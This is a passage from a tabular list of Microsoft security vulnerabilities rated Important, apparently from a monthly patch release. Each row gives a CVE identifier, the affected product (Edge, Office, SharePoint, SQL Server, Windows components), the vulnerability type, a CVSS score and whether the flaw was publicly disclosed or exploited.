CVE-2026-58281 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58284 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58285 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58287 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58288 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.3 No No RCE
CVE-2026-58289 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 9 No No RCE
CVE-2026-58290 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58292 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58293 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-58294 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-57983 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.7 No No SFB
CVE-2026-58295 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.3 No No SFB
CVE-2026-58525 Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability Important 8.2 No No SFB
CVE-2026-57987 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-58278 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-56646 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-57977 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-57993 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.4 No No Spoofing
CVE-2026-58282 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58283 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58286 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 8.1 No No Spoofing
CVE-2026-58298 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 7.2 No No Spoofing
CVE-2026-58524 Microsoft Edge (Chromium-based) Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-58296 Microsoft Edge for Android Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-58297 Microsoft Edge for Android Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-58300 Microsoft Edge for Android Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-58522 Microsoft Edge for Android Information Disclosure Vulnerability Important 6.8 No No Info
CVE-2026-58299 Microsoft Edge for Android Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-58523 Microsoft Edge for Android Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-50678 Microsoft Excel Information Disclosure Vulnerability Important 6.6 No No Info
CVE-2026-54988 Microsoft Excel Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-48580 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50408 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55046 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55138 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55054 Microsoft Excel Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-55122 Microsoft Excel Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-55898 Microsoft Excel Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-50675 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55899 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55948 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58618 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-47642 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55024 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55025 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55031 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55048 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55029 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55039 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55136 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55141 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55036 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55044 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55037 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55058 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55137 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55053 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55131 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-54131 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55947 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55949 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-56156 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55006 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55009 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55005 Microsoft Exchange Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56642 Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-50343 Microsoft Install Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50439 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-58537 Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56193 Microsoft Office Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-55023 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55026 Microsoft Office Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-55027 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55028 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55047 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55035 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55057 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55121 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55042 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55139 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50665 Microsoft Office Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-56192 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56195 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-47290 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50301 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55017 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55125 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55133 Microsoft OneNote Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58636 Microsoft PC Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50438 Microsoft PC Manager Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58647 Microsoft PowerBI Report Server Spoofing Vulnerability Important 8 No No Spoofing
CVE-2026-55052 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58277 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-55051 Microsoft SharePoint Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54108 Microsoft SharePoint Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2026-55016 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55019 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55020 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55021 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55030 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-55034 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55126 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No Spoofing
CVE-2026-55135 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2026-56157 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No Spoofing
CVE-2026-47296 Microsoft SQL Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55002 Microsoft SQL Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-47295 Microsoft SQL Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50468 Microsoft SQL Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54116 Microsoft SQL Server Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-42900 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-49784 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50356 Microsoft Windows App Store Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49165 Microsoft Windows App Store Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-54993 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58610 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55050 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55124 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55142 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-55032 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55055 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55038 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55134 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55128 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-55130 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50359 Microsoft XML Core Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-57097 Microsoft XML Security Feature Bypass Vulnerability Important 6.4 No No SFB
CVE-2026-50346 Netlogon RPC Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50402 NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50506 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-45646 OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-54989 Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50365 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-54990 Remote Desktop Client Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-58594 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56190 Remote Desktop Protocol Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-49783 Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No SFB
CVE-2026-42990 SQL Server ODBC driver Elevation of Privilege Vulnerability Important 9.8 No No EoP
CVE-2026-49168 Storage Spaces Direct Elevation of Privilege Vulnerability Important 6.2 No No EoP
CVE-2026-48581 Surface Broker SDMA Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49180 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50455 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-54111 Universal Print Management Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58543 Universal Print Management Service Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-58601 Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability Important 7.8 No No EoP
CVE-2026-50520 Visual Studio Code Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-45496 Visual Studio Code Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-57101 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No SFB
CVE-2026-57102 Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-47305 Visual Studio Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49805 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50297 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50325 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50489 Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-57095 Win32k Elevation of Privilege Vulnerability Important 6.2 No No EoP
CVE-2026-50416 Win32k Information Disclosure Vulnerability Important 3.3 No No Info
CVE-2026-56184 Win32k Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50432 Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability Important 5.3 No No DoS
CVE-2026-54119 Windows Active Directory Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-57976 Windows Active Directory Domain Services Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50366 Windows Active Directory Domain Services Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-49178 Windows Active Directory Domain Services Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-58529 Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-54983 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50695 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50304 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50368 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50324 Windows Active Directory Federation Services Denial of Service Vulnerability Important 5.9 No No DoS
CVE-2026-50355 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50411 Windows Active Directory Federation Services Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-58631 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-56196 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56197 Windows Admin Center (WAC) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-56169 Windows Admin Center Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-57107 Windows Admin Center Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56185 Windows Admin Center Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50312 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 4.7 No No EoP
CVE-2026-50462 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-57093 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34346 Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-48572 Windows App Package Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-48571 Windows App Package Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50400 Windows App Package Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50331 Windows Application Model Core API Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49803 Windows AppX Deployment Extensions Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50351 Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50440 Windows Audio Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34328 Windows Audio Service Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50406 Windows Backup Engine Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50364 Windows Backup Service Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-42975 Windows Bluetooth Port Driver Remote Code Execution Important 8 No No RCE
CVE-2026-58538 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58638 Windows Boot Loader Security Feature Bypass Vulnerability Important 6 No No SFB
CVE-2026-58637 Windows Client-Side Caching Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50384 Windows Clip Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49183 Windows Clipboard Server Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50689 Windows Clipboard Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50374 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 6.3 No No EoP
CVE-2026-58536 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58613 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50401 Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50697 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50667 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50421 Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50428 Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability Important 7.1 No No Info
CVE-2026-50352 Windows Cryptographic Services Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50302 Windows Cryptographic Services Security Feature Bypass Vulnerability Important 4.2 No No SFB
CVE-2026-55144 Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability Important 7.1 No No Tampering
CVE-2026-50347 Windows Data.dll Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49181 Windows DHCP Client Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50683 Windows DHCP Client Elevation of Privilege Vulnerability Important 8 No No EoP
CVE-2026-58627 Windows DHCP Server Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50685 Windows DHCP Server Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-49807 Windows DirectX Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-49175 Windows DNS Client Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50487 Windows DNS Client Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-50465 Windows DNS Client Tampering Vulnerability Important 7.1 No No Tampering
CVE-2026-49169 Windows DNS Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-50426 Windows DNS Server Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-50424 Windows Domain Controller Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-50300 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50437 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34348 Windows Event Logging Service Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50502 Windows Event Logging Service Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33842 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40422 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41087 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50473 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50442 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50389 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50456 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-57084 Windows File Explorer Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-57091 Windows File History Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50405 Windows Filtering Platform Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49172 Windows FTP Service Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-50387 Windows GDI Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54122 Windows GDI+ Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-50483 Windows Graphics Component Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-58609 Windows Graphics Component Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50391 Windows Group Policy Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50310 Windows Human Interface Device Information Disclosure Vulnerability Important 4.7 No No Info
CVE-2026-50485 Windows Hyper-V Denial of Service Vulnerability Important 4.5 No No DoS
CVE-2026-54129 Windows Hyper-V Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50315 Windows Image Acquisition Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58534 Windows Input Method Editor (IME) Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50490 Windows Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58540 Windows Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50425 Windows Internal System User Profile Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50293 Windows Internal Task Bar Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49167 Windows Kernel Elevation of Privilege Vulnerability Important 4.7 No No EoP
CVE-2026-49173 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54132 Windows Kernel Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-49795 Windows Kernel Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-49798 Windows Kernel Elevation of Privilege Vulnerability Important 9.3 No No EoP
CVE-2026-49808 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50354 Windows Kernel Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-50332 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50377 Windows Kernel Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-50390 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50423 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50397 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50436 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50399 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50459 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50477 Windows Kernel Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50478 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50484 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50673 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58532 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50294 Windows Kernel Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-50316 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50419 Windows Kernel Information Disclosure Vulnerability Important 3.3 No No Info
CVE-2026-50463 Windows Kernel Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-50475 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50429 Windows Kernel Information Disclosure Vulnerability Important 8.2 No No Info
CVE-2026-58614 Windows Kernel Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-58545 Windows Kernel Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-58602 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50393 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50396 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50378 Windows Key Guard Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50303 Windows Key Guard Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-40378 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-49799 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50371 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58544 Windows Management Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50404 Windows Media Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50358 Windows Media Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50336 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50398 Windows Media Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50414 Windows Media Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50379 Windows Media Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50433 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50676 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50677 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34349 Windows Media Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50394 Windows Media Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50415 Windows Media Information Disclosure Vulnerability Important 5.3 No No Info
CVE-2026-57083 Windows Media Photo Codec Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-54115 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50447 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-50505 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-50342 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 8.8 No No EoP
CVE-2026-56183 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 7 No No EoP
CVE-2026-56187 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 7 No No EoP
CVE-2026-58635 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50500 Windows Netlogon Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50476 Windows Network Connections Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50450 Windows Network Connections Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56650 Windows Network File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56649 Windows Network File System Remote Code Execution Vulnerability Important 5.9 No No RCE
CVE-2026-50470 Windows Network Policy Server SNMP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-50496 Windows Network Policy Server SNMP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-56194 Windows NFS Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56648 Windows NFS Server Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50337 Windows Notification Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49789 Windows NTFS Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-50412 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50422 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50672 Windows NTFS Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-56175 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56182 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
